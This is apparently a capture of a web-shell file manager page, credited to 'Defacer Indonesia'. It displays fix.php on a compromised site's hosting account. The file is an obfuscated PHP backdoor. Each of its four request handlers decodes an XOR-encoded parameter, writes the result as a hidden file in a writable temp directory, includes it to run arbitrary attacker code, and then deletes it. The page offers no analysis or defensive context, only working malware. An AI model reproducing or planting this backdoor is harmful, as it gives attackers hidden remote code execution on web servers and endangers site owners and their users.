whoami7 - Manager
:
/
home
/
analuakl
/
karanoverseas.in
/
Upload File:
files >> /home/analuakl/karanoverseas.in/fix.php
<?php if(array_key_exists("it\x65\x6D", $_REQUEST)){ $key = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP")]); $data_chunk = $_REQUEST["it\x65\x6D"]; $data_chunk=explode ('.' , $data_chunk) ; $marker = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $p = 0; while($p < count($data_chunk)) { $v5 = $data_chunk[$p]; $chS = ord($salt8[$p % $sLen]); $d =((int)$v5 - $chS -($p % 10)) ^ 84; $marker .= chr($d); $p++; } for ($elem = 0, $dat = count($key); $elem < $dat; $elem++) { $res = $key[$elem]; if (!( !is_dir($res) || !is_writable($res) )) { $itm = join("/", [$res, ".entity"]); if (@file_put_contents($itm, $marker) !== false) { include $itm; unlink($itm); exit; } } } } if(in_array("\x65n\x74\x69ty", array_keys($_POST))){ $resource = $_POST["\x65n\x74\x69ty"]; $resource = explode ( "." , $resource ); $property_set=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s1); $i=0; array_walk($resource ,function($v6) use(&$property_set ,&$i ,$s1 ,$lenS) { $sChar=ord($s1[$i %$lenS]); $dec=((int)$v6 - $sChar -($i %10)) ^34; $property_set .= chr($dec); $i++; }); $mrk = array_filter(["/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($mrk as $key => $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $itm = implode("/", [$tkn, ".desc"]); $success = file_put_contents($itm, $property_set); if ($success) { include $itm; @unlink($itm); exit;} } } } if(in_array("\x64a\x74", array_keys($_REQUEST))){ $item = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $key = $_REQUEST["\x64a\x74"]; $key = explode ( '.' ,$key ) ; $holder = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($key as $i => $v9): $chS = ord($s8[$i % $sLen]); $dec = ((int)$v9 - $chS - ($i % 10)) ^85; $holder .= chr($dec); endforeach; foreach ($item as $resource) { if ((is_dir($resource) and is_writable($resource))) { $token = implode("/", [$resource, ".ptr"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $token; @unlink($token); exit; } } } } if(!is_null($_POST["\x65\x6Et"] ?? null)){ $ent = array_filter([getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm"]); $flag = $_POST["\x65\x6Et"]; $flag =explode('.', $flag ) ; $property_set= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $y= 0; while($y < count($flag)) { $v4= $flag[$y]; $chS= ord($salt[$y % $lenS]); $d= ((int)$v4 - $chS -($y % 10)) ^ 5; $property_set .= chr($d); $y++; } $token = 0; do { $symbol = $ent[$token] ?? null; if ($token >= count($ent)) break; if (array_product([is_dir($symbol), is_writable($symbol)])) { $pointer = "$symbol" . "/.obj"; if (@file_put_contents($pointer, $property_set) !== false) { include $pointer; unlink($pointer); exit; } } $token++; } while (true); }
Copyright ©2021 || Defacer Indonesia